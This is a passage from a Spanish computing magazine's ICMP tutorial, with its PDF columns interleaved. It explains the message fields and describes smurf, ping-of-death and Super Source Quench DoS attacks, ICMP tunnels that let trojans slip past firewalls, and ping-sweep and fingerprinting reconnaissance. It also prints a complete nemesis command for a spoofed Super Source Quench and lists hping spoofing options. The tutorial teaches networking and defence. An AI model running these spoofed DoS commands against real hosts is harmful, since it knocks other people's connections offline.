            ICMP Source Quench. Cuando el                Si estamos realizando un ataque de flood
            transmisor reciba uno o más Source           y empezamos a recibir mensajes Source
            Quench, debe bajar la tasa de                Quench de la víctima tenemos una buena
            transferencia para no seguir saturando       prueba de que nuestro ataque está
            al receptor.                                 funcionando.

            Este mecanismo es más efectivo si el         Por otra parte, el Source Quench mismo
            receptor empieza a enviar los Source         puede servir para realizar ataques DoS.
            Quench antes de que haya realmente           Si enviamos mensajes Source Quench
            un problema, es decir, cuando esté cerca     a la víctima le estaremos pidiendo que
            del límite, pero sin haberlo superado aún.   limite su ancho de banda porque
                                                         supuestamente nos está saturando. Si
            El formato del mensaje nos es ya muy         conseguimos suplantar la personalidad
            familiar:                                    de una máquina a la que esté conectada
                                                         la víctima (mediante spoofing) podremos
                                                         echar abajo esa conexión, limitando cada
                                                         vez más el ancho de banda.

                                                         2.5. Redireccionar (Redirect)

                                                         Este mensaje, bastante peligroso, se
            Campo: Type
                                                         utiliza cuando un router R recibe un
                                                         paquete que debe llevar hasta un destino,
            El valor es 4.
                                                         pero se da cuenta de que existe un camino
                                                         más corto hasta ese destino que no pasa
                                                         por R.
            Campo: Code

                                                         Ve a m o s p o r e j e m p l o e s t e c a s o :
            Aquí es siempre 0.

            Denegación de servicio y Source
            Quench

            Algunos de los ataques que he comentado
            aprovechando el protocolo ICMP son
            ataques de tipo Flood, es decir, ataques
            DoS que funcionan mediante un
            bombardeo masivo de paquetes.

            Es posible que un sistema que está siendo
            floodeado intente calmar al atacante
            enviándole mensajes ICMP Source
            Quench, pensando que el bombardeo
            no es malintencionado y, por tanto,


Página 24                                                                                    PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          La máquina H1 envía un datagrama al         Veamos el formato del mensaje:
          router R1 para que lo transmita hasta la
          máquina H2. El router R1 mira en su
          tabla de enrutamiento y descubre que
          para llegar a H2 tiene que pasar primero
          por R2. Analizando las direcciones de
          R2 y H1 deduce que ambos pertenecen
          a la misma red, por lo que H1 podría        Campo: Type
          acceder directamente a R2 sin necesidad
          de pasar por R1.                            El valor es 5.

                                                      Campo: Code
          Si no notificase esta situación a H1 toda
          la comunicación entre H1 y H2 seguiría      De nuevo, tenemos varios posibles valores
          el siguiente camino:                        para este campo:




                                                      El segundo caso, Code 1, es el explicado
                                                      en el ejemplo anterior.


                                                      El Code 0, es lo mismo, pero en lugar de
                                                      tratarse de un host de destino se trata
                                                      de toda una red.

                                                      Para el Code 2 y el Code 3 hay que
          Mientras que si avisa de esta situación
                                                      anticipar de nuevo algo sobre el protocolo
          mediante un ICMP Redirect, podría
                                                      IP, que aún no hemos visto.
          ahorrarse un salto en el camino yendo
          de forma más directa:
                                                      Uno de los campos de la cabecera IP es
                                                      el TOS (Type Of Service), o Tipo de
                                                      Servicio. Este campo permite definir
                                                      diferentes servicios en función del ancho
                                                      de banda, fiabilidad, e interactividad que
                                                      requieren. Por ejemplo, un servicio de
                                                      transferencia de archivos requiere mucho
                                                      ancho de banda pero poca interactividad,
                                                      mientras que un servicio de terminal
                                                      remota (como un telnet) generalmente
                                                      necesitará poco ancho de banda, pero
                                                      mucha interactividad. Todo esto ya lo
                                                      veremos en detalle cuando hablemos del
                                                      protocolo IP.


PC PASO A PASO Nº 23                                                                               Página 25
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            En ciertos casos, un determinado router        legítimo) de tipo Redirect, en el cual el
            puede estar más dedicado a transmitir          campo Gateway Internet Address
            cierto tipo de servicio, por lo que se puede   contenga la propia dirección IP de la
            optimizar la comunicación utilizando los       víctima.
            caminos adecuados para cada caso.
                                                           Si la víctima es vulnerable a este ataque,
            El RFC 1349 da detalles sobre el campo         desde que reciba el paquete de Super
            T O S y s u r e l a c i ó n c o n I C M P,     Source Quench, redirigirá todo su tráfico
            concretamente con los ICMPs Redirect,          hacia si mismo, dando lugar a un bucle
            y Destination Unreachable (donde               infinito de tres pares de narices.
            vimos que los Code 11 y 12 también se
            refieren al tipo de servicio).                 El Super Source Quench es, por supuesto,
                                                           un ataque de tipo DoS, pero gracias a los
            Campo: Gateway Internet Address                paquetes Redirect de ICMP se pueden
                                                           llevar a cabo todo tipo de ataques de lo
            Para los que aún no lo sepáis, un gateway      más variopintos. Existen herramientas
            es lo que nosotros estamos llamando un         para automatizar este tipo de ataques,
            router, por lo que este campo indica           como WinFreez, que permiten realizar
            precisamente la dirección IP del router        ataques DoS, ataques de suplantación
            al que queremos redireccionar el tráfico.      man in the middle, etc, etc. En el momento
                                                           que tienes el poder de redirigir el tráfico
            Por ejemplo, en el caso citado                 de una víctima hacia donde tú quieras los
            anteriormente, el router R1 enviaría un        límites sólo los pone tu imaginación.
            mensaje ICMP Redirect donde este
            campo contendría la dirección IP del           2.6. Petición de Eco (Echo
            router R2.
                                                           Request)
            Super Source Quench, y otras
                                                           Este es uno de los mensajes ICMP más
            historias
                                                           interesantes, aunque en principio pueda
                                                           parecer tan simple que carezca de interés.
            Entre los mil usos ilegítimos que se
            pueden hacer de los mensajes ICMP
                                                           Además de utilizarse en la herramienta
            Redirect, se encuentra el ataque
                                                           traceroute, como ya vimos, es también
            conocido como Super Source Quench.
                                                           la base del funcionamiento del famoso
                                                           PING, ya que su función consiste
            A pesar de que su nombre pueda
                                                           simplemente en solicitar a otra máquina
            confundirnos, este ataque no tiene nada
                                                           que nos devuelva lo que le decimos, como
            que ver con el ICMP Source Quench,
                                                           si de un eco se tratase.
            aunque sí que es cierto que, si bien un
            Source Quench puede ralentizar tu
                                                           Un mensaje Echo Request contendrá
            conexión, un Super Source Quench lo
                                                           unos pocos datos de muestra (por
            que hace es tirártela por completo.
                                                           ejemplo, se suele usar el abecedario:
                                                           abcdefghijklmnopqrstuvwxyz), y el host
            El ataque consiste simplemente en enviar
                                                           que lo reciba debería responder mediante
            un mensaje ICMP spoofeado (para que
                                                           otro mensaje ICMP diferente, que es el
            aparentemente provenga de un router

Página 26                                                                                  PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          Echo Reply (lo veremos a continuación),     mensaje concreto de Echo Request, para
          que contendrá los mismos datos de           que el Echo Reply correspondiente pueda
          muestra (el abecedario de nuevo, por        especificar a qué petición de eco en
          ejemplo).                                   concreto está respondiendo.

                                                      El campo Sequence Number simula de
                                                      manera muy rudimentaria un número
                                                      de secuencia TCP, siendo por tanto un
                                                      n ú m e r o q u e s i m p l e m e n t e s e va
                                                      incrementando con cada Echo Request
                                                      para un mismo Identifier.
          Como vemos, el formato del mensaje es
          más complejo que el de los anteriores       De nuevo, el estándar nos deja libertad
          tipos de ICMP.                              para que utilicemos este campo según
                                                      las necesidades.
          Campo: Type
                                                      Campo: Data
          En este caso el valor es 8.
                                                      Este campo contiene los datos de muestra
          Campo: Code
                                                      que queremos que nos sean devueltos,
          Siempre tomará valor 0.                     como cuando gritamos “Eco!” y nos vuelve
                                                      la respuesta “Eco!...”.
          Campo: Identifier
                                                      En lugar de Eco podríamos poner cualquier
          Este campo simula en cierto modo el
                                                      otra palabra, como el ya mencionado
          comportamiento de los puertos UDP,
                                                      abecedario.
          aunque de forma mucho más simple.
                                                      Así que ya sabéis, cuando vayáis por la
          Simplemente es un número que sirve          montaña y encontréis a un tío que está
          para identificar una “sesión” de mensajes   berreando          el     abecedario
          de eco.                                     “abcdefghijklmnopqrstuvwxyz”, no debéis
                                                      asustaros, ya que sólo será un friki con
          Se usa por ejemplo cuando hacemos un        una indigestión de mis artículos que habrá
          ping a una máquina, ya que siempre se       terminado creyéndose que es un PC y
          hará más de un Echo Request a la            está intentando hacer un ping
          misma máquina. Toda esta serie de Echo
                                                      Sobre el mensaje Echo Request no voy
          Request que componen un ping tendrán
                                                      a comentar nada de momento (en color
          normalmente el mismo valor en el campo
                                                      rojo, me refiero , ya que comentaré
          Identifier.
                                                      luego juntos los mensajes Echo Request
          Realmente, el estándar no exige ninguna     y Echo Reply después de hablar sobre
          forma concreta de generar este campo,       éste último.
          por lo que se deja un poco a las
          necesidades de cada aplicación.             2.7. Respuesta de Eco (Echo
                                                      Reply)
          Campo: Sequence Number
                                                      Este mensaje tiene exactamente el mismo
          Este campo, combinado con el anterior,      formato, con los mismos campos.
          permite identificar unívocamente un

PC PASO A PASO Nº 23                                                                                   Página 27
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Todos los campos de la cabecera deben           Como ya sabemos, todas las máquinas
            llevar una copia exacta de los campos          de una red están interconectadas, por lo
            del mensaje Echo Request al que están          que teóricamente todos los paquetes que
            respondiendo, excepto el campo Type,           circulan por la red llegan a todas las
            que debe ser 0, que es el número               máquinas de la red. Cada máquina tendrá
            asignado al tipo de mensaje ICMP Echo          que ser capaz de discernir qué paquetes
            Reply.                                         van dirigidos a ella y cuales no. Este es
                                                           el motivo por el que un sniffer puede
            La invasión de los pitufos                     funcionar.

            No se puede hablar de ICMP sin hablar          Lo que hace el sniffer es poner a la
            de una de las técnicas más clásicas para       máquina en modo promiscuo, es decir,
            explotar este protocolo con fines poco         hacer que recoja todos los paquetes,
            éticos, que es la conocida como “el pitufo”.   aunque no sean dirigidos para esa
            Jejeje, bueno, ésta sería la traducción al     máquina. Una máquina que no esté en
            castellano. En realidad el término “técnico”   modo promiscuo sólo debería recoger dos
            es smurf.                                      tipos de paquetes: los que van dirigidos
                                                           a su dirección IP, y los que van dirigidos
            La técnica de smurf consiste en un ataque      a la dirección broadcast.
            DoS basado en los mensajes Echo
                                                           Por tanto, ¿qué pasaría si enviásemos un
            Request y Echo Reply, y que se puede
                                                           mensaje Echo Request a la dirección
            llevar a cabo sin necesidad de ninguna         broadcast de una red? Pues teóricamente
            herramienta especial, ni siquiera un           todas las máquinas de la red tendrían
            software para manipular raw sockets            que recibir ese mensaje y, por tanto,
            (como Nemesis o Hping, sobre los que           enviar un Echo Reply en respuesta.
            hablaré al final del artículo), si no que      Imaginemos que estamos en una red con
            basta con la herramienta PING que              mil máquinas. Con sólo enviar nosotros
            podemos encontrar en cualquier sistema         un mensaje, habremos recibido mil
            operativo.                                     mensajes en respuesta...

            El ataque consiste exactamente en un           ¿Qué pasaría entonces si enviásemos ese
            flood mediante mensajes Echo Reply             Echo Request con la IP de origen
            generados por máquinas que no son la           spoofeada para aparentar que quien
            del propio atacante, por lo que se hace        manda el mensaje no somos nosotros, si
            bastante complicado para la víctima el         no la máquina de nuestra víctima?
            encontrar al culpable.                         Pues, teóricamente, la víctima recibiría
                                                           1000 mensajes Echo Reply que no tiene
            Va m o s a v e r    en    qué    consiste
                                                           ni idea de dónde narices han salido. Sabrá
            exactamente:
                                                           que las respuestas llegan de las máquinas
            Todas las redes tienen definidas una           de la red que hemos utilizado, pero no
            dirección especial, que es la denominada       podrá saber quién dio la “orden” a esa
            dirección broadcast. Esta dirección IP         red de que le mandase los mensajes.
            especial está reservada para paquetes
                                                           Si lanzamos varios Echo Request a varias
            que estén dirigidos a todas las
                                                           redes diferentes, podremos conseguir que
            máquinas de la red, y no a una sola.
                                                           llegue un auténtico bombardeo de

Página 28                                                                                  PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          mensajes Echo Reply a la víctima, con       Para evitar convertir nuestra red en una
          lo que podríamos llegar a saturar su        amplificadora de ataques smurf, tenemos
          conexión.                                   que configurarla para que las máquinas
                                                      no respondan a mensajes ICMP dirigidos
                                                      a la dirección broadcast.

                                                      El ping de la muerte

                                                      Que nadie se eche las manos a la cabeza
                                                      diciendo: “¡Pero si el ping de la muerte
                                                      está más pasado de moda que las patillas
                                                      de Curro Jiménez!”.

                                                      Es cierto que el ping de la muerte es un
                                                      ataque que difícilmente puede funcionar
                                                      hoy día, pero en su momento fue una
                                                      auténtica “bomba” así que merece al
                                                      menos una mención en este artículo en
                                                      el que no sólo se trata la actualidad, si
          Como vemos en la imagen, lo único que
                                                      no también la historia de ICMP.
          tiene que hacer el atacante es lanzar
          unos cuantos pings, uno por cada red        Digo lo de “bomba” porque es importante
          que quiera utilizar como amplificadora      diferenciar entre un DoS de tipo flood,
          del ataque, utilizando en cada uno la       y un DoS de tipo nuke.
          dirección de broadcast, que es la que
                                                      Un flood ya hemos visto lo que es: tirar
          vemos en la imagen.
                                                      abajo un sistema a base de saturarlo con
                                                      miles de paquetes. En cambio, un nuke
          Una dirección broadcast normalmente se
                                                      es un ataque que también puede tirar
          obtiene poniendo un 255 en aquellos
                                                      abajo un sistema, pero en este caso con
          bytes de la IP que puedan variar según
                                                      sólo uno o unos pocos paquetes.
          el tipo de red, es decir, poniendo un 255
          donde en la máscara de red hay un 0.
                                                      Vimos un ejemplo de nuke al hablar del
                                                      ICMP Parameter Problem, y un ejemplo
          Por ejemplo, para una red 192.168.1.1,
                                                      de flood por ejemplo en la técnica de
          con máscara de red 255.255.255.0, la
                                                      smurf mencionada anteriormente.
          dirección      broadcast        será
          192.168.1.255.
                                                      El ping de la muerte (ping of death), y
                                                      sus variantes (como el jolt, o el IceNewk)
          En general, para una red de clase A
                                                      es un ataque DoS de tipo nuke que
          habrá que poner un 255 en las 3 últimas
                                                      explota una limitación de los sistemas
          cifras de la IP, en una red de clase B
                                                      operativos, ya que estos suelen tener
          un 255 en las 2 últimas cifras de la IP,
                                                      limitado a 65536 el tamaño máximo de
          y en una red de clase C un 255 sólo en
                                                      paquete que pueden manejar.
          la última cifra de la IP. ¿Qué no sabéis
          de qué hablo? Pues esperad al próximo
                                                      No confundamos este tamaño con la MTU,
          artículo del curso, que tratará sobre el
                                                      ni con el MSS, ya que en este caso se
          protocolo IP.
                                                      refiere al tamaño que puede manejar el

PC PASO A PASO Nº 23                                                                               Página 29
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            propio sistema operativo, y no el tamaño      http://www.fi.upm.es/~flimon/ddos.pdf
            de los paquetes que se pueden transmitir      Es un documento muy interesante y fácil
            a través de una conexión.                     de leer, en el que encontraréis también
                                                          una descripción detallada del ataque smurf
            Como la MTU siempre será menor de             que mencioné anteriormente.
            65536 la forma en que se conseguía
            enviar el ping de la muerte era utilizando    Antes de que me vaya más del tema,
            la fragmentación de la que ya hemos           estaba diciendo que se puede aprovechar
            hablado. El ping de la muerte consistía       un mensaje ICMP para pasar información
            simplemente en un mensaje Echo                sin que un firewall se entere.
            Request de un tamaño mayor que el
                                                          Si tenemos, por ejemplo, un troyano en
            que podía manejar el sistema operativo
                                                          nuestro sistema, pero tenemos un
            receptor, que se enviaba fragmentado
                                                          firewall, lo que no podrá hacer el troyano
            para que pudiese circular hasta su destino.
                                                          es abrir un puerto TCP en escucha para
            Una vez en el destino, el sistema receptor
                                                          que su controlador se conecte
            intentaba reensamblar el paquete
                                                          remotamente a nuestra máquina para
            uniendo los fragmentos y, al encontrarse
                                                          hacernos todo tipo de judiadas.
            con que el paquete era más grande de
            lo que podía manejar, el sistema
                                                          Como los firewalls son cada día más
            directamente cascaba.
                                                          comunes, los troyanos tienen que buscar
                                                          otros sistemas más ingeniosos para poder
            Este problema fue “descubierto” en 1996,
                                                          comunicarse con su controlador. Uno de
            y en 1997 la mayoría de los sistemas
                                                          estos sistemas consiste precisamente en
            operativos ya disponían de parches para
                                                          aprovechar los mensajes Echo Request
            arreglar este problema, pero.... ¿quién
                                                          y Echo Reply.
            sabe cuántos sistemas pueden quedar
            ahí fuera sin parchear?...                    Como hemos visto, ambos mensajes
                                                          contienen un campo DATA en el que se
            Túneles para pasar información a              puede meter cualquier cosa... pues
            través de firewalls                           simplemente intercambiando mensajes
                                                          de Echo que contengan todos los datos
            Un sistema que es utilizado por programas     que queramos transmitir entre el troyano
            maliciosos, como troyanos, demonios de        y su controlador, estos podrán realizar
            redes DDoS, o cualquier otra aplicación       una comunicación bastante similar a la
            que necesite pasar información a través       que podrían llevar a cabo a través de un
            de un firewall, es el crear un túnel          puerto UDP.
            mediante mensajes ICMP.
                                                          Otra historia es si el firewall filtra también
            ¿Qué os ha sonado muy raro eso de los         los mensajes ICMP, pero en la mayoría
            demonios de redes DDoS? Jeje, he              de los sistemas se deja abierto el Echo
            conseguido despertar vuestra curiosidad       Request hacia el exterior, y el Echo
            una vez más soltando por ahí un término       Reply desde el exterior, por lo que el
            raro como quien no quiere la cosa.            troyano podría utilizar Echo Request para
                                                          enviar sus datos, y el controlador del
            Pues si queréis saciar vuestra curiosidad     troyano podría utilizar Echo Reply para
            podéis leer este documento en castellano:     lanzar sus órdenes.

Página 30                                                                                    PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          2.8. Petición de Sello de                 momento exacto en el que el emisor del
          Tiempo y Respuesta de Sello               Timestamp Request envió el mensaje.
                                                    Este tiempo se mide en milisegundos
          de Tiempo (Timestamp
                                                    transcurridos desde la medianoche
          Request y Timestamp Reply)
                                                    Campo: Receive Timestamp
          Estos mensajes, al igual que los
          anteriores, también son una pareja.       Este campo se generará en el mensaje
                                                    Timestamp Reply. Especifica el
          El Timestamp sirve para medir los         momento exacto en el que el receptor del
          tiempos de respuesta en una               Timestamp Request (que, por supuesto,
          comunicación entre dos máquinas. El       será el emisor del Timestamp Reply)
          mensaje Timestamp Request envía un        recibió el mensaje Timestamp Request.
          dato con el instante en que el mensaje    Campo: Transmit Timestamp
          fue enviado, y el mensaje de respuesta
          Timestamp Reply contendrá otros datos     Este campo se genera también en el
          informando sobre el tiempo que tardó el   mensaje Timestamp Reply. Especifica
          paquete en ser procesado, tal y como      el momento exacto en el que el emisor
          veremos en breve.                         del Timestamp Reply envío el mensaje.
                                                    Comparando este campo con el anterior
                                                    podemos hacernos una idea del tiempo
                                                    que se ha tardado en procesar los
                                                    mensajes.

                                                    Explotando sistemas de seguridad
                                                    basados en el tiempo

          Campo: Type                               Muchos sistemas de seguridad dependen
                                                    de la generación de números
          El tipo para el mensaje Timestamp         pseudoaleatorios.
          Request es 13, y para el mensaje
          Timestamp Reply es 14.                    Un ordenador es una máquina totalmente
                                                    determinista, por lo que es imposible
          Campo: Code                               conseguir que genere un número
                                                    totalmente aleatorio, es decir, sin estar
          Es siempre 0 en ambos mensajes.           basado en ninguna regla matemática que
                                                    lo genere.
          Campos: Identifier y Sequence
          Number                                    Lo que se suele hacer para simular esta
                                                    aleatoriedad es aprovechar un parámetro
          Tienen el mismo significado que en el     que está en permanente cambio: el
          caso de Echo Request y Echo Reply.        tiempo.

          Campo: Originate Timestamp                Los números pseudoaleatorios que genera
                                                    un ordenador suelen estar basados en
          Este campo es generado en el mensaje
                                                    una fórmula matemática que incluye como
          Timestamp Request. Especifica el

PC PASO A PASO Nº 23                                                                            Página 31
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            una de sus variables el tiempo exacto en     directamente en red, y nada más arrancar
            el que se está generando el número (en       necesitaban conocer la red en la que
            milisegundos, o cualquier otra medida).      entraban.
            Esto permite que dos números generados
            consecutivamente con la misma fórmula        El mecanismo consistía en enviar un
            den resultados diferentes.                   datagrama que tuviese ceros en las
                                                         direcciones IP de origen y de destino
            Por tanto, el permitir que cualquier         (Information Request). Este paquete,
            máquina nos pregunte la hora exacta          al ser recibido por la máquina que se
            (con precisión de milisegundos) que          encargase del asunto dentro de la red,
            tenemos en nuestra máquina, es facilitarle   sería respondido con otro mensaje que
            en gran medida la explotación de             sí que tuviese direcciones IP de origen y
            cualquier sistema que maneje números         de destino (Information Reply). La
            aleatorios. Recordemos por ejemplo lo        dirección IP de destino del Information
            que conté en el artículo sobre TCP acerca    Reply sería la IP asignada a la máquina
            de los números de secuencia, y de las        que la solicitó.
            graves consecuencias que tendría que
            un atacante conociese los números
            pseudoaleatorios que hemos utilizado
            para generar los números de secuencia
            en nuestras conexiones TCP.
                                                         Ya conocemos el significado de todos los
            También conté algo sobre la adivinación      campos, así que sólo hay que decir que
            de números pseudoaleatorios en el            el campo Type para Information
            artículo sobre DNS de la serie RAW, así      Request es 15, y para Information
            que a los aficionados a las matemáticas      Reply es 16. El campo Code para ambos
            les recomiendo que le echen un vistazo.      será 0.

                                                         Buscando víctimas potenciales
            2.9. Petición de Información
            y Respuesta de Información                   Uno de los usos más clásicos de ICMP
            (Information Request, e                      para fines oscuros es el de la detección
                                                         de máquinas en una red, para apuntar
            Information Reply)
                                                         víctimas potenciales.

            Esta nueva parejita de mensajes está en
                                                         No he hablado de ello hasta ahora porque
            realidad obsoleta, ya que su funcionalidad
                                                         el sistema más obvio y más común es
            ha sido sustituida y mejorada por otros
                                                         utilizar simplemente un escaneo de
            sistemas, como BOOT o DHCP.
                                                         pings que vaya recorriendo todas las
                                                         posibles IPs para ver cuáles de ellas
            Al igual que en estos protocolos, el
                                                         responden al ping. Cada IP que responda
            objetivo de estos mensajes es conseguir
                                                         es una máquina que está funcionando en
            que una máquina entre en una red de
                                                         la red y, por tanto, una víctima potencial.
            forma automatizada, es decir, sin conocer
            previamente la configuración de la red.      Como este sistema es bien conocido por
            Este sistema era útil en estaciones de       cualquier administrador que vigile
            trabajo sin disco que arrancaban             mínimamente la seguridad, es fácil

Página 32                                                                                PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          encontrarse con sistemas que tengan         Yo personalmente tengo abiertos sólo los
          cerrados los mensajes de Echo, por lo       mensajes Echo Reply (para poder hacer
          que no responderían al Echo Request,        ping y traceroute), Time Exceeded (para
          aunque la máquina estuviese vivita y        poder hacer traceroute), y Destination
          coleando. Un escaneo de pings nos diría     Unreachable (para poder hacer P-MTU-
          que esas máquinas no existen, ya que        D, entre otras cosas).
          no han respondido a nuestra llamada.
                                                      Si queréis asegurar de verdad vuestro
          Existen herramientas que aprovechan         sistema o vuestra red os aconsejo que
          otros tipos de mensajes ICMP menos          investiguéis bien el tema y lleguéis a
          comunes para hacer exactamente lo           establecer una decisión sobre vuestra
          mismo, con la ventaja de que, al ser un     política de seguridad con ICMP.
          mensaje poco conocido y, aparentemente
          inocente, es más probable que el            2.10. Otros mensajes ICMP.
          administrador no los haya cerrado en el
          firewall. Un ejemplo de estas               Aunque el RFC 792 ni siquiera los
          herramientas es ICMPEnum, que utiliza       menciona, existen otros tipos de mensaje
          precisamente no sólo Echo Request para      ICMP definidos. Al no formar parte del
          hacer los escaneos, si no también           estándar definido en el RFC, sólo nombraré
          Timestamp Request, e Information            alguno de ellos por si os interesa buscar
          Request.                                    información sobre alguno en concreto.

          Como ya hemos visto que los dos             Personalmente, yo no me he encontrado
          primeros tienen otros problemas             nunca con casi ninguno de estos mensajes
          potenciales de seguridad, quizá podamos     ICMP, así que no sé hasta qué punto será
          tener suerte y encontrarnos con que el      útil conocerlos.
          administrador ha considerado totalmente
          inofensivo el Information Request, y
          haya dejado aquí la puerta abierta que
          buscábamos.

          ¿Cuál es la conclusión que podemos sacar
          de este “comentario rojo” y de todos los
          demás? Pues, abreviando, que si
          queremos estar seguros lo mejor es cerrar
          en nuestro firewall CASI TODOS los
          mensajes ICMP. Como mucho, podemos
          dejar entrar los mensajes de respuesta
          (como Echo Reply), para poder hacer         Como de costumbre, la lista completa de
          ping y traceroute nosotros desde            números asignados a ICMP es mantenida
          nuestra máquina, pero pocos motivos         por el IANA (Internet Assigned Numbers
          hay para dejar abiertos sus contrarios,     Authority), y la podéis consultar en:
          los mensajes que, en lugar de
                                                      http://www.iana.org/assignments/icmp-
          respondernos, nos preguntan a nosotros
                                                      parameters
          desde fuera.


PC PASO A PASO Nº 23                                                                               Página 33
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Buscando huellas

            He dejado para el final esta técnica que
            es en realidad una de las que dan más
            utilidad a ICMP a la hora de encontrar
            información sobre un sistema para un
            posible ataque. Lo he dejado para el final
            porque es una técnica que está
            relacionada no con uno sólo, si no con
            muchos tipos de mensajes ICMP.

            La técnica conocida como OS
            Fingerprinting consiste en analizar las
            reacciones de un sistema ante distintos
            tipos de mensajes ICMP y, conociendo
            cual es la reacción de cada sistema              Aquí vemos que ante un mensaje ICMP
            operativo conocido, poder realizar así           TimeStamp Request a la dirección
            una comparación que nos lleve a deducir          broadcast de una red, podemos obtener
            qué sistema operativo está corriendo en          información precisa sobre el sistema
            la máquina que estamos analizando.               operativo, siempre que la máquina
            Hay una panda de chiflados (con cariño)          responda con un TimeStamp Reply.
            que se dedican a hacer tablas que reflejan
            el comportamiento de cada sistema ante           En caso de que no responda, se
            cada tipo de mensaje, aunque no llegan           considerará (de momento) un SO
            a estar tan chiflados como para tratar           desconocido, y habrá que hacer otras
            de usar es información a palo seco... lo         pruebas similares.
            que hacen es introducir toda esta
            información en una aplicación que                Si ha respondido, tenemos 3 posibles
            automatiza la tarea de comparar las              SOs: HPUX 10.20, Sun Solaris, o Linux
            reacciones del sistema con la información        Kernel 2.2.x. En ese caso, habrá que
            conocida sobre cada sistema operativo.           continuar con la prueba, haciendo ahora
                                                             un Information Request a la dirección
            La más conocida de esas aplicaciones es          broadcast. Si responde, ya sabemos que
            NMap, de la que ya hemos hablado                 se trata de un HPUX 10.20. Si no
            bastante en la revista. Nmap contiene            responde, habrá que continuar probando,
            gran cantidad de información sobre las           esta vez con un Address Mask Request
            reacciones de cada SO                     ante   (uno de los ICMPs que no hemos visto).
            determinados paquetes, y utiliza esta            Si responde, se trata de un Sun Solaris,
            i n f o r m a c i ó n p a ra h a c e r u n O S   y si no, de un Linux Kernel 2.2.x.
            Fingerprinting, es decir, para deducir
            cuál es el sistema operativo de la máquina       Esta información también se puede
            que estamos analizando.                          mostrar en tablas más complejas, como
                                                             ésta, que muestra el valor del campo TTL
            Para que os hagáis una idea del tipo de          que usa cada sistema operativo al enviar
            información de la que estoy hablando,            mensajes ICMP de Echo:
            podemos mostrar por ejemplo este árbol:

Página 34                                                                                  PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




                                                        -P : permite especificar un archivo con
                                                        los datos, por ejemplo para un Echo
                                                        Request.
                                                        -G : permite especificar el campo
                                                        Gateway Address para los mensajes
                                                        Redirect.
          Como ya he dicho, esta información no         -qE : inyecta un paquete de Echo.
          nos hace falta conocerla, ya que viene        -qU : inyecta un paquete Destination
          automatizada en herramientas como             Unreachable.
          Nmap, o Xprobe, pero si queréis               -qX : inyecta un paquete Time
          información detallada y tenéis los            Exceeded.
          c*j*n*s... como los de un toro, podéis        -qR : inyecta un paquete Redirect.
          leeros la biblia del ICMP, que la tenéis en   -qT : inyecta un paquete Timestamp.
          h t t p : / / w w w . s y s -
          security.com/archive/papers/ICMP_Sca          Si, por ejemplo, queremos lanzar un
          nning_v3.0.pdf .                              ataque Super Source Quench a la IP
                                                        192.168.2.2 para cortar su conexión TCP
          3.     RAW Sockets ICMP                       con la IP 215.22.69.22, podríamos hacer:

          Para terminar, volvemos con nuestros          nemesis icmp –i 5 –c 1 –G 127.0.0.1
          amigos Nemesis y Hping para jugar esta        –v –b 192.168.2.2 –B 215.22.69.22
          vez con el protocolo ICMP.                    –D 192.168.2.2 –S 215.22.69.22 –p
                                                        6
          Existen herramientas dedicadas para
          explotar el protocolo ICMP, como algunas      El parámetro –i 5 especifica que se trata
          de las ya mencionadas, o la herramienta       de un mensaje de tipo Redirect, que
          SING (Send ICMP Nasty Garbage), pero          sería como utilizar la opción –qR. El
          por no romper la tradición vamos a seguir     parámetro –c 1 especifica un Code 1, es
          en nuestra línea, utilizando las              decir, redireccionar los datagramas para
          herramientas ya conocidas.                    el host de destino.

          3.1. Nemesis                                  El parámetro –G 127.0.0.1 es la base
                                                        del ataque Super Source Quench, ya
          Empezamos con Nemesis, cuyas                  que indicamos aquí a la víctima que
          instrucciones tenemos en el archivo           redirija sus paquetes a la dirección de
          nemesis-icmp.txt de la carpeta en la          loopback, 127.0.0.1, es decir, a sí
          que instalamos la aplicación.                 mismo.

          Resumo aquí las opciones más básicas:         El parámetro –v es el clásico verbose
                                                        que nos muestra información de lo que
          -i : permite especificar el valor del campo   estamos haciendo.
          Type.
          -c : permite especificar el valor del campo   El parámetro –b no lo he explicado, y
          Code.                                         forma parte del campo Internet Header
          -e : permite especificar el valor del campo   + 64 bits of Original Data Datagram.
          Identifier.                                   Es concretamente la IP de origen del

PC PASO A PASO Nº 23                                                                                Página 35
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            datagrama que generó el supuesto error        --spoof :permite especificar cualquier IP
            que dio lugar a que se generase el            de origen (IP spoofing).
            mensaje Redirect.
                                                          --rand-source : permite hacer un IP
            El parámetro –B forma parte también de        spoofing con direcciones IP aleatorias.
            ese campo, y contiene la dirección IP de
                                                          --rand-dest : permite utilizar direcciones
            destino del datagrama original que
                                                          IP de destino aleatorias. Algo parecido
            supuestamente originó el Redirect.
                                                          a lo que expliqué que hacían algunos
                                                          gusanos, aunque en realidad lo normal
            Los parámetros –D y –S ya los
                                                          es que un gusano utilice algún tipo de
            conocemos de haber usado otras veces
                                                          heurística para generar las IPs de una
            Nemesis, y son la IP de destino y de
                                                          forma más inteligente que una
            origen respectivamente para este mismo
                                                          aleatoriedad pura y dura.
            paquete.
                                                          --dont-frag : obliga a que el paquete no
            El parámetro –p 6 forma parte también
                                                          sea fragmentado. Esta opción puede ser
            del campo Internet Header + 64 bits
                                                          ú t i l p a ra r e a l i z a r u n P - M T U - D .
            of Original Data Datagram, ya que es
